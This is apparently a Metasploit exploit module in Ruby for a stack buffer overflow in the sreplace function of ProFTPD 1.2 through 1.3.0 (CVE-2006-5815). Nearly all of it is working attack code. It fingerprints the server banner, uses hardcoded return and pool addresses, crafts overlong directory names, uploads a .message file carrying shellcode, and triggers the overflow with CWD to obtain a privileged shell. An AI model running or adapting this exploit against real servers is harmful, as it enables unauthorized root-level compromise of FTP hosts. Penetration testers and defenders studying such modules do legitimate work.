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08736c7 Apr 5, 2016
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##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = GreatRanking
include Msf::Exploit::Remote::Ftp
def initialize(info = {})
super(update_info(info,
'Name' => 'ProFTPD 1.2 - 1.3.0 sreplace Buffer Overflow (Linux)',
'Description' => %q{
This module exploits a stack-based buffer overflow in versions 1.2 through
1.3.0 of ProFTPD server. The vulnerability is within the "sreplace" function
within the "src/support.c" file.
The off-by-one heap overflow bug in the ProFTPD sreplace function has been
discovered about 2 (two) years ago by Evgeny Legerov. We tried to exploit
this off-by-one bug via MKD command, but failed. We did not work on this bug
since then.
Actually, there are exists at least two bugs in sreplace function, one is the
mentioned off-by-one heap overflow bug the other is a stack-based buffer overflow
via 'sstrncpy(dst,src,negative argument)'.
We were unable to reach the "sreplace" stack bug on ProFTPD 1.2.10 stable
version, but the version 1.3.0rc3 introduced some interesting changes, among them:
1. another (integer) overflow in sreplace!
2. now it is possible to reach sreplace stack-based buffer overflow bug via
the "pr_display_file" function!
3. stupid '.message' file display bug
So we decided to choose ProFTPD 1.3.0 as a target for our exploit.
To reach the bug, you need to upload a specially created .message file to a
writeable directory, then do "CWD <writeable directory>" to trigger the invocation
of sreplace function.
Note that ProFTPD 1.3.0rc3 has introduced a stupid bug: to display '.message'
file you also have to upload a file named '250'. ProFTPD 1.3.0 fixes this bug.
The exploit is a part of VulnDisco Pack since Dec 2005.
},
'Author' =>
[
'Evgeny Legerov <admin[at]gleg.net>', # original .pm version (VulnDisco)
'jduck' # Metasploit 3.x port
],
'References' =>
[
[ 'CVE', '2006-5815' ],
[ 'OSVDB', '68985' ],
[ 'BID', '20992' ],
[ 'URL', 'http://seclists.org/bugtraq/2006/Nov/94' ],
[ 'URL', 'http://seclists.org/bugtraq/2006/Nov/538' ],
[ 'URL', 'http://bugs.proftpd.org/show_bug.cgi?id=2858' ],
[ 'URL', 'http://proftp.cvs.sourceforge.net/proftp/proftpd/src/main.c?view=diff&r1=text&tr1=1.292&r2=text&tr2=1.294&diff_format=h' ]
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
'PrependChrootBreak' => true
},
'Privileged' => true,
'Payload' =>
{
'Space' => 900,
'BadChars' => "\x00\x0a\x0d\x25",
'DisableNops' => 'True',
},
'Platform' => [ 'linux' ],
'Targets' =>
[
#
# Automatic targeting via fingerprinting
#
[ 'Automatic Targeting', { 'auto' => true } ],
#
# This special one comes first since we dont want its index changing.
#
[ 'Debug',
{
'Ret' => 0x41414242,
'PoolAddr' => 0x43434545
}
],
#
# specific targets
#
[ "ProFTPD 1.3.0 (source install) / Debian 3.1",
{
# objdump -D proftpd|grep call|grep edx
'Ret' => 0x804afc8, # call edx
# nm proftpd|grep permanent_pool
'PoolAddr' => 0x80b59f8
}
]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Nov 26 2006'))
register_options(
[
OptString.new('WRITABLE', [ true, 'A writable directory on the target host', '/incoming' ])
], self.class )
end
def check
# NOTE: We don't care if the login failed here...
ret = connect
# We just want the banner to check against our targets..
vprint_status("FTP Banner: #{banner.strip}")
status = CheckCode::Safe
if banner =~ /ProFTPD (1\.[23]\.[^ ])/i
ver = $1
maj,min,rel = ver.split('.')
relv = rel.slice!(0,1)
case relv
when '2'
status = CheckCode::Appears
when '3'
# 1.3.x before 1.3.1 is vulnerable
status = CheckCode::Appears
if rel.length > 0
if rel.to_i > 0
status = CheckCode::Safe
else
status = CheckCode::Appears
end
end
end
end
disconnect
return status
end
def exploit
connect_login
# Use a copy of the target
mytarget = target
if (target['auto'])
mytarget = nil
print_status("Automatically detecting the target...")
if (banner and (m = banner.match(/ProFTPD (1\.[23]\.[^ ])/i))) then
print_status("FTP Banner: #{banner.strip}")
version = m[1]
else
fail_with(Failure::NoTarget, "No matching target")
end
regexp = Regexp.escape(version)
self.targets.each do |t|
if (t.name =~ /#{regexp}/) then
mytarget = t
break
end
end
if (not mytarget)
fail_with(Failure::NoTarget, "No matching target")
end
print_status("Selected Target: #{mytarget.name}")
else
print_status("Trying target #{mytarget.name}...")
if banner
print_status("FTP Banner: #{banner.strip}")
end
end
#puts "attach and press any key"; bleh = $stdin.gets
res = send_cmd(['CWD', datastore['WRITABLE']])
pwd = send_cmd(['PWD'])
if pwd !~ /257\s\"(.+)\"/
fail_with(Failure::Unknown, "Unable to get current working directory")
end
pwd = $1
pwd << "/" if pwd[-1,1] != "/"
dir1 = "A" * (251 - pwd.length)
res = send_cmd(['MKD', dir1])
res = send_cmd(['CWD', dir1])
res = send_cmd(['PWD'])
dir2 = "B" * 64
dir2 << [mytarget.ret].pack('V')
dir2 << [mytarget['PoolAddr'] - 4].pack('V')
dir2 << "\xcc" * 28
res = send_cmd(['DELE', "#{dir2}/.message"])
res = send_cmd(['DELE', "250"])
res = send_cmd(['RMD', dir2])
filedata = ''
filedata << 'A'
filedata << "\x66\x81\xc2\x5e\x13\x52\xc3"; # add $0x135e, %dx; push %edx; ret
filedata << "\x25C" * 11
filedata << 'A'
filedata << payload.encoded
filedata << rand_text_alphanumeric(900 - payload.encoded.length)
filedata << "\x25\x43\x41" * 10
res = send_cmd(['MKD', dir2])
res = send_cmd_data(['PUT', "#{dir2}/.message"], filedata, 'I')
# Trigger sreplace overflow
res = send_cmd(['CWD', dir2])
handler
disconnect
end
end
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